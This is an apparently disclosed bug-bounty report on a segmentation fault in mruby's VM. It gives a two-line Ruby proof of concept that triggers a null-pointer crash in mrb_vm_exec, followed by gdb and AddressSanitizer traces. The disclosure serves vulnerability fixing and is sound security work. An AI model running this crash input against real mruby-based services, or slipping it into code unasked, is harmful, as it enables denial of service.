shopify-scripts · Report #217097
SIGSEGV in mrb_vm_exec
Validstatus
4upvotes
13 May 2017disclosed
How it was found
PoC
The following code triggers the bug (attached as test_mrb_vm_exec.rb):
def method_missing(meth,*args)yield(meth,args)end
enum_for.next
Debug - mirb
x@x:~/Desktop/test/mruby/bin$ gdb -q ./mirb
rReading symbols from ./mirb...done.
(gdb) r test_mrb_vm_exec.rb
Starting program: /home/x/Desktop/test/mruby/bin/mirb test_mrb_vm_exec.rb
mirb - Embeddable Interactive Ruby Shell
=> :method_missing
Program received signal SIGSEGV, Segmentation fault.
0x0000000000407239 in mrb_vm_exec (mrb=0x6b0010, proc=0x6b5470, pc=0x0) at /home/x/Desktop/test/mruby/src/vm.c:1281
1281 JUMP;
(gdb) info reg
rax 0x0 0
rbx 0x7213e0 7476192
rcx 0x71b910 7452944
rdx 0x6b73f0 7042032
rsi 0x6b73f0 7042032
rdi 0x6b0010 7012368
rbp 0x7fffffffc930 0x7fffffffc930
rsp 0x7fffffffc360 0x7fffffffc360
r8 0x0 0
r9 0x7ffff7acd7b8 140737348687800
r10 0x8 8
r11 0x7ffff7895770 140737346361200
r12 0x401ca0 4201632
r13 0x7fffffffdf30 140737488346928
r14 0x0 0
r15 0x0 0
rip 0x407239 0x407239 <mrb_vm_exec+7691>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) l
1276 }
1277 mrb->c->stack[0] = result;
1278 mrb->c->stack = ci->stackent;
1279 pc = ci->pc;
1280 cipop(mrb);
1281 JUMP;
1282 }
1283 else {
1284 /* setup environment for calling method */
1285 proc = mrb->c->ci->proc = m;
(gdb) x/x $rax
0x0: Cannot access memory at address 0x0
Backtrace - mirb
(gdb) bt
#0 0x0000000000407239 in mrb_vm_exec (mrb=0x6b0010, proc=0x6b5470, pc=0x0) at /home/x/Desktop/test/mruby/src/vm.c:1281
#1 0x000000000040542c in mrb_vm_run (mrb=0x6b0010, proc=0x6b22f0, self=..., stack_keep=1) at /home/x/Desktop/test/mruby/src/vm.c:823
#2 0x0000000000402b90 in main (argc=2, argv=0x7fffffffdf38) at /home/x/Desktop/test/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549
Clang - mirb
x@x:~/Desktop/test/mruby/bin$ ASAN_SYMBOLIZER_PATH=//usr/lib/llvm-3.8/bin/llvm-symbolizer ../../clang/mruby/bin/mirb test_mrb_vm_exec.rb
mirb - Embeddable Interactive Ruby Shell
=> :method_missing
ASAN:DEADLYSIGNAL
=================================================================
==5574==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004f7921 bp 0x7fff098ef1c0 sp 0x7fff098ee430 T0)
#0 0x4f7920 in mrb_vm_exec /home/x/Desktop/test/clang/mruby/src/vm.c:1281:9
#1 0x4f5bae in mrb_vm_run /home/x/Desktop/test/clang/mruby/src/vm.c:823:10
#2 0x4f3010 in main /home/x/Desktop/test/clang/mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:549:18
#3 0x7fabf5c9dec4 in __libc_start_main /build/buildd/eglibc-2.19/csu/libc-start.c:287
#4 0x41a575 in _start (/home/x/Desktop/test/clang/mruby/bin/mirb+0x41a575)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/x/Desktop/test/clang/mruby/src/vm.c:1281:9 in mrb_vm_exec
==5574==ABORTING
Debug - mruby
Desktop/test/mruby/bin$ gdb -q ./mruby
Reading symbols from ./mruby...done.
(gdb) r test_mrb_vm_exec.rb
Starting program: /home/x/Desktop/test/mruby/bin/mruby test_mrb_vm_exec.rb
Program received signal SIGSEGV, Segmentation fault.
0x0000000000441f92 in mrb_vm_exec (mrb=0x6af010, proc=0x6b4470, pc=0x0) at /home/x/Desktop/test/mruby/src/vm.c:1281
1281 JUMP;
(gdb) info reg
rax 0x0 0
rbx 0x720500 7472384
rcx 0x71aa10 7449104
rdx 0x6b63f0 7037936
rsi 0x6b63f0 7037936
rdi 0x6af010 7008272
rbp 0x7fffffffdb30 0x7fffffffdb30
rsp 0x7fffffffd560 0x7fffffffd560
r8 0x0 0
r9 0x7ffff7acd7b8 140737348687800
r10 0x8 8
r11 0x7ffff7895770 140737346361200
r12 0x401b20 4201248
r13 0x7fffffffdf30 140737488346928
r14 0x0 0
r15 0x0 0
rip 0x441f92 0x441f92 <mrb_vm_exec+7691>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) l
1276 }
1277 mrb->c->stack[0] = result;
1278 mrb->c->stack = ci->stackent;
1279 pc = ci->pc;
1280 cipop(mrb);
1281 JUMP;
1282 }
1283 else {
1284 /* setup environment for calling method */
1285 proc = mrb->c->ci->proc = m;
(gdb) x/x $rax
0x0: Cannot access memory at address 0x0
Backtrace - mruby
(gdb) bt
#0 0x0000000000441f92 in mrb_vm_exec (mrb=0x6af010, proc=0x6b4470, pc=0x0) at /home/x/Desktop/test/mruby/src/vm.c:1281
#1 0x0000000000440185 in mrb_vm_run (mrb=0x6af010, proc=0x6b1350, self=..., stack_keep=0) at /home/x/Desktop/test/mruby/src/vm.c:823
#2 0x0000000000448587 in mrb_top_run (mrb=0x6af010, proc=0x6b1350, self=..., stack_keep=0) at /home/x/Desktop/test/mruby/src/vm.c:2614
#3 0x0000000000438e8d in mrb_load_exec (mrb=0x6af010, p=0x70cfa0, c=0x70bbf0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/parse.y:5760
#4 0x0000000000438f23 in mrb_load_file_cxt (mrb=0x6af010, f=0x70cbe0, c=0x70bbf0) at /home/x/Desktop/test/mruby/mrbgems/mruby-compiler/core/parse.y:5769
#5 0x0000000000402415 in main (argc=2, argv=0x7fffffffdf38) at /home/x/Desktop/test/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
Clang - mruby
x@x:~/Desktop/test/mruby/bin$ ASAN_SYMBOLIZER_PATH=//usr/lib/llvm-3.8/bin/llvm-symbolizer ../../clang/mruby/bin/mruby test_mrb_vm_exec.rb
ASAN:DEADLYSIGNAL
=================================================================
==6041==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000053ccb1 bp 0x7fff86500860 sp 0x7fff864ffad0 T0)
#0 0x53ccb0 in mrb_vm_exec /home/x/Desktop/test/clang/mruby/src/vm.c:1281:9
#1 0x53af3e in mrb_vm_run /home/x/Desktop/test/clang/mruby/src/vm.c:823:10
#2 0x543a03 in mrb_top_run /home/x/Desktop/test/clang/mruby/src/vm.c:2614:12
#3 0x52cbc0 in mrb_load_exec /home/x/Desktop/test/clang/mruby/mrbgems/mruby-compiler/core/parse.y:5760:7
#4 0x52cd92 in mrb_load_file_cxt /home/x/Desktop/test/clang/mruby/mrbgems/mruby-compiler/core/parse.y:5769:10
#5 0x4f2b83 in main /home/x/Desktop/test/clang/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227:11
#6 0x7f4415861ec4 in __libc_start_main /build/buildd/eglibc-2.19/csu/libc-start.c:287
#7 0x41a4e5 in _start (/home/x/Desktop/test/clang/mruby/bin/mruby+0x41a4e5)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/x/Desktop/test/clang/mruby/src/vm.c:1281:9 in mrb_vm_exec
==6041==ABORTING
System information
SHA hash - 051e40c0493f2de332f5439e3230c9fe6958bf1a
Linux 14.04 x86_64
gcc version 4.8.4